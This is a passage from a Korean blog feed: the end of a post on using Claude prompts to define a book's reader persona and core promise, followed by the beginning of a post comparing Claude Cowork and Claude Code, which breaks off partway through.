&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;markdown&quot;&gt;&lt;pre class=&quot;language-markdown&quot;&gt;&lt;code class=&quot;language-markdown&quot;&gt;&lt;span class=&quot;token title important&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;#&lt;/span&gt; 페르소나 — 이 책의 첫 독자 한 사람&lt;/span&gt;

&lt;span class=&quot;token title important&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;##&lt;/span&gt; 기본 정보&lt;/span&gt;

&lt;span class=&quot;token list punctuation&quot;&gt;-&lt;/span&gt; 이름(가명): 김지영
&lt;span class=&quot;token list punctuation&quot;&gt;-&lt;/span&gt; 나이: 34세
&lt;span class=&quot;token list punctuation&quot;&gt;-&lt;/span&gt; 직업: 마케터 (회사원 7년 차)
&lt;span class=&quot;token list punctuation&quot;&gt;-&lt;/span&gt; 거주: 서울

&lt;span class=&quot;token title important&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;##&lt;/span&gt; 책과 관련된 상황&lt;/span&gt;

&lt;span class=&quot;token list punctuation&quot;&gt;-&lt;/span&gt; 글쓰기 경험: 회사 보고서·제안서 정도. 개인 글쓰기는 SNS만.
&lt;span class=&quot;token list punctuation&quot;&gt;-&lt;/span&gt; AI 도구 경험: ChatGPT는 이메일 초안에 가끔 사용. Claude는 처음.
&lt;span class=&quot;token list punctuation&quot;&gt;-&lt;/span&gt; 책을 쓰고 싶은 이유: 자기 분야 노하우를 정리해서 이직·강의 자료로
&lt;span class=&quot;token list punctuation&quot;&gt;-&lt;/span&gt; 가장 큰 두려움: &quot;분량을 채울 수 있을까?&quot;, &quot;AI가 다 써버린 책이라고 욕먹지 않을까?&quot;

&lt;span class=&quot;token title important&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;##&lt;/span&gt; 일주일 시간 가용성&lt;/span&gt;

&lt;span class=&quot;token list punctuation&quot;&gt;-&lt;/span&gt; 평일 저녁: 30분 &lt;span class=&quot;token strike&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;~&lt;/span&gt;&lt;span class=&quot;token content&quot;&gt; 1시간 (피곤할 때는 패스)
- 주말: 2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;~&lt;/span&gt;&lt;/span&gt;3시간 (둘째 주말은 대부분 외출)

&lt;span class=&quot;token title important&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;##&lt;/span&gt; 이 책에 대한 기대&lt;/span&gt;

&lt;span class=&quot;token list punctuation&quot;&gt;-&lt;/span&gt; 매주 1챕터씩, 부담 없이 따라할 수 있길
&lt;span class=&quot;token list punctuation&quot;&gt;-&lt;/span&gt; 코드 같은 거 없이 대화창만으로 끝낼 수 있길
&lt;span class=&quot;token list punctuation&quot;&gt;-&lt;/span&gt; 8주 후 정말 PDF가 손에 들리길&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;Claude 프롬프트 — 페르소나 만들기&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;markdown&quot;&gt;&lt;pre class=&quot;language-markdown&quot;&gt;&lt;code class=&quot;language-markdown&quot;&gt;내가 쓰려는 책의 한 줄 요약은 이거야:
&quot;[1단계에서 정한 한 줄 요약]&quot;

이 책의 첫 독자가 될 한 사람을 페르소나 카드 형태로 만들어줘.

조건:

&lt;span class=&quot;token list punctuation&quot;&gt;-&lt;/span&gt; 가상의 인물이지만 구체적 (이름·나이·직업·거주지)
&lt;span class=&quot;token list punctuation&quot;&gt;-&lt;/span&gt; 글쓰기/AI 도구 경험 수준 명시
&lt;span class=&quot;token list punctuation&quot;&gt;-&lt;/span&gt; &quot;이 책을 왜 쓰고 싶은가&quot;의 동기 1&lt;span class=&quot;token strike&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;~&lt;/span&gt;&lt;span class=&quot;token content&quot;&gt;2개
- &quot;가장 큰 두려움&quot; 1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;~&lt;/span&gt;&lt;/span&gt;2개
&lt;span class=&quot;token list punctuation&quot;&gt;-&lt;/span&gt; 일주일 시간 가용성 (평일/주말 각각)
&lt;span class=&quot;token list punctuation&quot;&gt;-&lt;/span&gt; 이 책에 거는 기대 3가지

출력은 위 항목을 갖춘 마크다운 페르소나 카드.&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;받은 결과를 &lt;code class=&quot;language-text&quot;&gt;persona.md&lt;/code&gt;에 그대로 저장합니다. 이후 모든 챕터를 쓸 때 &lt;strong&gt;&quot;이 문장이 이 사람에게 닿는가?&quot;&lt;/strong&gt; 를 자문하는 게 페르소나의 유일한 역할입니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;⚠️ 페르소나는 &lt;strong&gt;현실의 특정 인물을 그대로 복사하지 마세요.&lt;/strong&gt; 가상의 합성 인물이 안전하고 솔직한 글을 만듭니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;3단계 — 약속 (Promise)&lt;/h2&gt;
&lt;h3&gt;약속이란?&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;&quot;이 책을 다 읽은 독자가 이 한 가지는 반드시 손에 쥡니다.&quot;&lt;/strong&gt; 라는 한 문장입니다. 마케팅의 카피가 아니라 &lt;strong&gt;저자가 자신과 맺는 계약&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;p&gt;이 약속이 흐릿하면 8주 챌린지 중간에 &quot;이 챕터를 굳이 써야 하나?&quot; 갈등이 생길 때 기준이 없습니다. 명확하면 — 약속에 기여하지 않는 챕터는 &lt;strong&gt;빼는 게 맞다&lt;/strong&gt;는 결정을 빠르게 내릴 수 있습니다.&lt;/p&gt;
&lt;h3&gt;약속의 좋은 예&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;책 종류&lt;/th&gt;
&lt;th&gt;약속&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;본 책「나만의 책만들기」&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;8주 후 자기만의 50p 전자책 PDF&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;가상 예 — 운동 책&lt;/td&gt;
&lt;td&gt;12주 뒤 푸시업 0개 → 30개&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;가상 예 — 요리 책&lt;/td&gt;
&lt;td&gt;4주 뒤 손님 4명을 30분 만에 차려낼 수 있는 코스 1세트&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;가상 예 — 글쓰기 책&lt;/td&gt;
&lt;td&gt;한 달 뒤 매일 200자씩 멈추지 않고 쓰는 사람&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;공통점 — &lt;strong&gt;검증 가능합니다.&lt;/strong&gt; &quot;글을 잘 쓰게 됩니다&quot; 같은 모호한 표현이 아니라, 다 읽은 사람이 &lt;strong&gt;자기가 약속을 받았는지 안 받았는지 스스로 판단&lt;/strong&gt;할 수 있어야 합니다.&lt;/p&gt;
&lt;h3&gt;Claude 프롬프트 — 약속 다듬기&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;markdown&quot;&gt;&lt;pre class=&quot;language-markdown&quot;&gt;&lt;code class=&quot;language-markdown&quot;&gt;내 책 정보:

&lt;span class=&quot;token list punctuation&quot;&gt;-&lt;/span&gt; 한 줄 요약: &quot;[1단계 결과]&quot;
&lt;span class=&quot;token list punctuation&quot;&gt;-&lt;/span&gt; 페르소나 핵심: &quot;[2단계 페르소나의 핵심 동기·기대 3줄]&quot;

이 책의 &quot;약속(promise)&quot;을 만들어줘.

조건:

&lt;span class=&quot;token list punctuation&quot;&gt;-&lt;/span&gt; 다 읽은 독자가 손에 쥐는 구체적 결과 1가지
&lt;span class=&quot;token list punctuation&quot;&gt;-&lt;/span&gt; 검증 가능 (독자가 스스로 &quot;받았다/못 받았다&quot; 판단 가능)
&lt;span class=&quot;token list punctuation&quot;&gt;-&lt;/span&gt; 분량/기간이 들어가면 더 좋음
&lt;span class=&quot;token list punctuation&quot;&gt;-&lt;/span&gt; 후보 3개를 강도 순으로 정렬, 각 후보의 검증 방법도 함께

출력은 후보 3개 + 추천(왜 그것을 추천하는지 이유).&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;후보 3개 중 하나를 골라(또는 다듬어서) &lt;strong&gt;&lt;code class=&quot;language-text&quot;&gt;book/README.md&lt;/code&gt;에 &quot;약속&quot; 섹션으로 박습니다.&lt;/strong&gt; 이후 챕터 검토 시 항상 이 약속을 기준으로 합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;종합 — 콘셉트 시트 한 페이지&lt;/h2&gt;
&lt;p&gt;세 단계가 끝나면 한 페이지짜리 &lt;strong&gt;콘셉트 시트&lt;/strong&gt;가 나옵니다. 이걸 &lt;code class=&quot;language-text&quot;&gt;book/README.md&lt;/code&gt; 최상단에 두세요.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;markdown&quot;&gt;&lt;pre class=&quot;language-markdown&quot;&gt;&lt;code class=&quot;language-markdown&quot;&gt;&lt;span class=&quot;token title important&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;#&lt;/span&gt; 책 콘셉트 시트&lt;/span&gt;

&lt;span class=&quot;token title important&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;##&lt;/span&gt; 한 줄 요약&lt;/span&gt;

&lt;span class=&quot;token blockquote punctuation&quot;&gt;&gt;&lt;/span&gt; [1단계 결과 — 50자 이내]

&lt;span class=&quot;token title important&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;##&lt;/span&gt; 페르소나&lt;/span&gt;

&lt;span class=&quot;token list punctuation&quot;&gt;-&lt;/span&gt; 이름: [가명]
&lt;span class=&quot;token list punctuation&quot;&gt;-&lt;/span&gt; 직업·나이: [예: 마케터, 34세]
&lt;span class=&quot;token list punctuation&quot;&gt;-&lt;/span&gt; 핵심 동기: [한 줄]
&lt;span class=&quot;token list punctuation&quot;&gt;-&lt;/span&gt; 가장 큰 두려움: [한 줄]
&lt;span class=&quot;token list punctuation&quot;&gt;-&lt;/span&gt; 시간 가용성: [평일 N분 / 주말 N시간]

&lt;span class=&quot;token title important&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;##&lt;/span&gt; 약속&lt;/span&gt;

&lt;span class=&quot;token blockquote punctuation&quot;&gt;&gt;&lt;/span&gt; [3단계 결과 — 검증 가능한 한 문장]

&lt;span class=&quot;token title important&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;##&lt;/span&gt; 메타 노트&lt;/span&gt;

&lt;span class=&quot;token list punctuation&quot;&gt;-&lt;/span&gt; 작성일: 2026-05-04
&lt;span class=&quot;token list punctuation&quot;&gt;-&lt;/span&gt; 다음 검토: 4장(자료 모으기) 마치고 페르소나·약속 일치 점검&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;좋은 콘셉트 시트의 체크리스트&lt;/h3&gt;
&lt;ul class=&quot;contains-task-list&quot;&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; 한 줄 요약을 처음 보는 사람에게 보여줘도 &quot;어, 그거 누가 읽으면 좋겠다&quot; 떠오르는가?&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; 페르소나가 가족·친구 중 한 명을 떠올리게 하는가?&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; 약속을 8주 후 스스로에게 &quot;지켰다/못 지켰다&quot; 판정할 수 있는가?&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; 세 줄을 합쳐서 한 친구에게 30초 안에 설명할 수 있는가?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;체크가 다 붙으면 다음 주(#3 차례 짜기)로 넘어갈 준비가 끝났습니다. 하나라도 안 붙으면 — &lt;strong&gt;다음 주 글을 보지 말고&lt;/strong&gt; 그 한 항목을 다듬는 데 시간을 더 쓰세요. 콘셉트가 흔들리는 채로 차례를 짜면 무조건 다시 짭니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;함정 4가지 — 콘셉트 단계에서 흔히 빠지는 실수&lt;/h2&gt;
&lt;h3&gt;1. &quot;AI를 활용한 ○○&quot; 같은 메타 표현&lt;/h3&gt;
&lt;p&gt;&quot;AI를 활용한 글쓰기&quot;, &quot;AI로 만드는 ○○&quot; — 어디서나 들리는 표현이라 차별화가 안 됩니다. AI 도구는 &lt;strong&gt;수단&lt;/strong&gt;이지 &lt;strong&gt;주제&lt;/strong&gt;가 아닙니다. 약속 한 줄에서 &apos;AI&apos;라는 단어를 빼고도 매력이 남는지 확인하세요.&lt;/p&gt;
&lt;h3&gt;2. 페르소나를 &quot;본인 자신&quot;으로 정하기&lt;/h3&gt;
&lt;p&gt;&quot;내가 모르던 시절의 나를 위한 책&quot; — 흔한 실수입니다. 본인의 과거는 너무 가까워서 객관화가 어렵고, 결과적으로 &lt;strong&gt;나만 이해할 수 있는 책&lt;/strong&gt;이 됩니다. 가족·친구·동료 중 &lt;strong&gt;현재 그 상황에 있는 한 사람&lt;/strong&gt;을 떠올리는 편이 훨씬 강합니다.&lt;/p&gt;
&lt;h3&gt;3. 약속의 단위가 너무 큼&lt;/h3&gt;
&lt;p&gt;&quot;인생이 바뀝니다&quot;, &quot;전문가가 됩니다&quot; — 검증 불가능합니다. 8주가 끝나는 날 독자가 &lt;strong&gt;물리적으로 손에 들고 보일 수 있는 결과&lt;/strong&gt; 또는 &lt;strong&gt;그 자리에서 보여줄 수 있는 행동&lt;/strong&gt;이 좋은 약속입니다.&lt;/p&gt;
&lt;h3&gt;4. 콘셉트 시트를 다른 사람에게 안 보여주기&lt;/h3&gt;
&lt;p&gt;머릿속에서는 명확해도 글로 적으면 모호해집니다. &lt;strong&gt;콘셉트 시트를 한 사람에게 보내고 한 줄 반응을 받으세요.&lt;/strong&gt; 가장 빠른 검증입니다. 댓글로 받아도 좋습니다(이 글 아래에).&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;자주 묻는 질문 (FAQ)&lt;/h2&gt;
&lt;h3&gt;Q1. 한 줄 요약이 도저히 안 나옵니다. 그냥 넘어가도 되나요?&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;아니요. 여기서 막히는 건 작은 문제가 아니라 큰 신호입니다.&lt;/strong&gt; 두 가지 가능성이 큽니다 — (1) 주제 자체가 너무 광범위함, 또는 (2) 본인이 정말 쓰고 싶은 게 무엇인지 아직 본인도 모름. 어느 쪽이든 &lt;strong&gt;한 주 더 쓰는 게 8주 전체를 살립니다.&lt;/strong&gt; Claude에게 &quot;내가 떠올린 답변에서 모순되는 지점을 짚어줘&quot;라고 부탁해보세요.&lt;/p&gt;
&lt;h3&gt;Q2. 페르소나를 여러 명 만들어도 되나요?&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;가능하지만 추천하지 않습니다.&lt;/strong&gt; 페르소나는 의사결정 도구입니다. 둘 이상이 되면 갈등하는 순간 결정이 안 납니다. &lt;strong&gt;주 페르소나 1명 + 부 페르소나 1명(선택)&lt;/strong&gt; 이 최대치입니다.&lt;/p&gt;
&lt;h3&gt;Q3. 약속을 너무 좁게 잡으면 책이 작아 보이지 않을까요?&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;오히려 반대입니다.&lt;/strong&gt; 좁은 약속이 진짜 가치를 줍니다. &quot;글쓰기 잘하기&quot;보다 &quot;30일 동안 매일 200자씩 멈추지 않고 쓰기&quot;가 훨씬 강한 책입니다. 좁힌 약속이 실현되면 독자는 &lt;strong&gt;그 너머도 알아서 갑니다.&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;Q4. 한 줄 요약이 다른 책과 비슷해 보이는데요?&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;비슷해도 괜찮습니다.&lt;/strong&gt; 비슷한 책이 있다는 건 시장이 있다는 뜻입니다. 차별화는 한 줄이 아니라 &lt;strong&gt;페르소나 + 약속 + 톤&lt;/strong&gt;의 조합에서 나옵니다. 한 줄을 억지로 비틀지 마세요.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;다음 주 예고 (#3 — 차례 짜기)&lt;/h2&gt;
&lt;p&gt;다음 주는 오늘 잡은 &lt;strong&gt;콘셉트 시트&lt;/strong&gt;를 들고 &lt;strong&gt;차례(outline)&lt;/strong&gt; 를 짭니다. outline은 책의 진실의 원천입니다 — 챕터 추가/삭제는 항상 outline부터, 그 다음 파일 작업으로 갑니다. Claude로 outline 후보를 여러 개 받아 비교하는 워크플로우와, 분량·페이스 검증 방법을 다룹니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;마무리&lt;/h2&gt;
&lt;p&gt;오늘 세 가지만 끝내시면 됩니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;✅ Claude와 함께 &lt;strong&gt;한 줄 요약&lt;/strong&gt; 후보 5개 → 1개 확정 → &lt;code class=&quot;language-text&quot;&gt;README.md&lt;/code&gt; 최상단&lt;/li&gt;
&lt;li&gt;✅ &lt;strong&gt;페르소나 카드&lt;/strong&gt; 작성 → &lt;code class=&quot;language-text&quot;&gt;research/notes/persona.md&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;✅ &lt;strong&gt;약속&lt;/strong&gt; 한 문장 → &lt;code class=&quot;language-text&quot;&gt;README.md&lt;/code&gt;에 박기&lt;/li&gt;
&lt;li&gt;✅ (보너스) 콘셉트 시트를 한 사람에게 보내 한 줄 반응 받기&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;세 줄이 단단해졌다면 8주의 가장 어려운 고비를 넘긴 셈입니다. 나머지는 &lt;strong&gt;흐름을 따라가는&lt;/strong&gt; 일이 됩니다.&lt;/p&gt;
&lt;p&gt;여러분의 책의 &lt;strong&gt;한 줄 요약&lt;/strong&gt;은 무엇인가요? &lt;strong&gt;댓글로 한 줄만 남겨주시면&lt;/strong&gt;, 다음 주 #3에서 익명으로 인용하며 차례 짜기 사례로 함께 다뤄볼 수 있습니다. 한 줄을 글로 적어보는 것 자체가 이번 주의 가장 큰 진전입니다.&lt;/p&gt;
&lt;p&gt;다음 주에 또 뵙겠습니다. 자바파커였습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;시리즈 글 (Claude 책 만들기)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;/book-making-01-getting-started/&quot;&gt;#1 시작 전 준비 — 도구와 마음가짐&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;#2 콘셉트 잡기 — 누가 읽을지부터 정한다 (이번 글)&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;#3 차례 짜기 — outline이 진실의 원천 (다음 주)&lt;/li&gt;
&lt;li&gt;#4 자료 모으기 (W20)&lt;/li&gt;
&lt;li&gt;#5 챕터 쓰기 (W21)&lt;/li&gt;
&lt;li&gt;#6 다듬기와 디자인 (W22)&lt;/li&gt;
&lt;li&gt;#7 빌드와 배포 (W23)&lt;/li&gt;
&lt;li&gt;#8 마무리와 부록 (W24)&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Claude Cowork vs Claude Code — Anthropic 두 AI 에이전트 완벽 비교]]></title><description><![CDATA[Claude Cowork vs Claude Code 비교 — Anthropic의 업무용·코딩용 두 AI 에이전트 차이 정리 커버 안녕하세요, 자바파커입니다. "Claude Code는 들어봤는데, Cowork…]]></description><link>https://blog.javapark.kr/cowork-vs-claude-code/</link><guid isPermaLink="false">https://blog.javapark.kr/cowork-vs-claude-code/</guid><pubDate>Mon, 04 May 2026 22:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;img src=&quot;https://github.com/javapark/blog-images/releases/download/images-v1/cowork-vs-claude-code.png&quot; alt=&quot;Claude Cowork vs Claude Code 비교 — Anthropic의 업무용·코딩용 두 AI 에이전트 차이 정리 커버&quot;&gt;&lt;/p&gt;
&lt;p&gt;안녕하세요, &lt;strong&gt;자바파커&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;Claude Code는 들어봤는데, Cowork는 또 뭐죠? 둘이 뭐가 다른가요?&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;요즘 가장 많이 받는 질문입니다. 솔직히 처음 Cowork 발표가 났을 때 저도 &quot;이거 Claude Code의 비개발자 버전인가?&quot; 싶었습니다. 며칠 둘 다 써보고 나서야 두 도구가 &lt;strong&gt;같은 엔진을 공유하지만 완전히 다른 자리&lt;/strong&gt;를 노리고 있다는 게 보였습니다.&lt;/p&gt;
&lt;p&gt;결론부터 말씀드리면 — &lt;strong&gt;Claude Code는 &quot;내 코드베이스에서 일하는 AI 동료&quot;&lt;/strong&gt;, &lt;strong&gt;Claude Cowork는 &quot;내 PC에서 문서·파일 업무를 대신하는 AI 동료&quot;&lt;/strong&gt; 입니다. 같은 Claude가 두 옷을 입고 있는 셈입니다. 오늘은 둘의 정체부터 사용 기준, 함께 쓰는 법까지 한 번에 정리해보겠습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;한눈에 보는 차이 — TL;DR&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;항목&lt;/th&gt;
&lt;th&gt;Claude Cowork&lt;/th&gt;
&lt;th&gt;Claude Code&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;타깃&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;비개발자 지식근로자&lt;/td&gt;
&lt;td&gt;개발자·엔지니어&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;인터페이스&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;데스크톱 앱 (채팅 UI)&lt;/td&gt;
&lt;td&gt;터미널 / IDE 확장 (VS Code, JetBrains)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;주 작업&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;문서·파일·이메일·리서치&lt;/td&gt;
&lt;td&gt;코드베이스 읽기/수정/실행&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;출력물&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;정리된 폴더, 보고서, 요약, 데이터&lt;/td&gt;
&lt;td&gt;커밋, PR, 패치, 동작하는 기능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;러닝커브&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;낮음 (자연어 + 클릭)&lt;/td&gt;
&lt;td&gt;중간 (CLI·git·테스트 흐름 이해 필요)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;요금&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;모든 유료 플랜 포함&lt;/td&gt;
&lt;td&gt;Pro/Max 또는 API 종량제&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;플랫폼&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Windows, macOS 데스크톱&lt;/td&gt;
&lt;td&gt;Windows, macOS, Linux + IDE&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h2&gt;Claude Cowork — 비개발자를 위한 &quot;데스크톱 비서&quot;&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://www.anthropic.com/product/claude-cowork&quot;&gt;Claude Cowork&lt;/a&gt;는 Anthropic이 2026년 초 정식 출시한 &lt;strong&gt;지식근로자용 에이전틱 AI&lt;/strong&gt;입니다. 데스크톱에서 동작하면서 로컬 파일·폴더·앱을 직접 다룹니다.&lt;/p&gt;
&lt;h3&gt;누구를 위한 도구인가&lt;/h3&gt;
&lt;p&gt;Anthropic이 공식적으로 언급하는 타깃은 다음과 같습니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;리서처·애널리스트&lt;/strong&gt; — 여러 보고서를 모아 종합 요약&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;운영팀&lt;/strong&gt; — 반복적인 파일 정리·이름 변경·중복 제거&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;법무·재무&lt;/strong&gt; — 계약서·재무 자료에서 데이터 추출&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;마케팅·CS&lt;/strong&gt; — 초안 작성, 문의 응답 템플릿화&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;한 줄 요약하면 — &lt;strong&gt;코딩은 못 하지만 매일 문서·엑셀·메일과 씨름하는 모든 사람&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;h3&gt;주요 기능&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;로컬 파일 정리&lt;/strong&gt; — 폴더 내 파일을 분류·이름 변경·중복 제거&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;문서 초안 작성&lt;/strong&gt; — 여러 자료를 종합해 구조화된 초안 생성&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;리서치 요약&lt;/strong&gt; — 복수 소스를 가로질러 핵심을 정리&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;데이터 추출&lt;/strong&gt; — 계약서·리포트 같은 비정형 파일에서 항목 뽑기&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;플러그인 연동&lt;/strong&gt; — Google Drive, Gmail, DocuSign, FactSet 등 &lt;a href=&quot;https://techcrunch.com/2026/01/30/anthropic-brings-agentic-plugins-to-cowork/&quot;&gt;업무 도구와 연결&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;사용 방식&lt;/h3&gt;
&lt;p&gt;데스크톱 앱을 켜고 채팅창에 일감을 던지면 됩니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;다운로드 폴더의 PDF를 회사별로 나눠서 정리하고, 2026년 분기별 매출 표가 있는 파일만 따로 빼서 요약해줘.&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;터미널도, 코드도 필요 없습니다. 권한을 준 폴더 안에서 Claude가 &lt;strong&gt;읽고, 수정하고, 만들고, 결과를 보고&lt;/strong&gt;합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Claude Code — 개발자를 위한 &quot;코드베이스 동료&quot;&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://docs.claude.com/en/docs/claude-code&quot;&gt;Claude Code&lt;/a&gt;는 &lt;strong&gt;터미널·IDE에서 동작하는 코딩 에이전트&lt;/strong&gt;입니다. 개인 포털 운영부터 서비스 개발까지, 저도 이 블로그 글 자체를 Claude Code로 쓰고 있습니다.&lt;/p&gt;
&lt;h3&gt;누구를 위한 도구인가&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;개인 개발자&lt;/strong&gt; — 사이드 프로젝트, 블로그, 포트폴리오&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;프로 엔지니어&lt;/strong&gt; — 코드 리뷰, 리팩터링, 버그 수정, 기능 구현&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DevOps·SRE&lt;/strong&gt; — 스크립트 작성, 인프라 설정, 로그 분석&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;테크 라이터&lt;/strong&gt; — 마크다운 기반 문서·블로그 운영&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;주요 기능&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;프로젝트 전체 이해&lt;/strong&gt; — 최대 1M 토큰 컨텍스트로 코드베이스 통째로&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;파일 직접 편집&lt;/strong&gt; — Read/Edit/Write/Glob/Grep 등 코드 친화적 도구&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;명령 실행&lt;/strong&gt; — &lt;code class=&quot;language-text&quot;&gt;npm test&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;git&lt;/code&gt;, 빌드 명령을 Claude가 직접 호출&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;MCP 확장&lt;/strong&gt; — Playwright, GitHub, Slack 등 &lt;a href=&quot;https://modelcontextprotocol.io/&quot;&gt;MCP 서버&lt;/a&gt;로 외부 시스템 연동&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;VS Code / JetBrains 확장&lt;/strong&gt; — IDE 안에서 인라인으로 사용&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;서브에이전트·스킬·훅&lt;/strong&gt; — 작업 자동화의 거의 모든 레이어&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;사용 방식&lt;/h3&gt;
&lt;p&gt;터미널에서 &lt;code class=&quot;language-text&quot;&gt;claude&lt;/code&gt;를 치고 자연어로 지시하면, Claude가 프로젝트를 스캔해서 &lt;strong&gt;PR을 띄우거나 커밋을 만듭니다.&lt;/strong&gt;&lt;/p&gt;
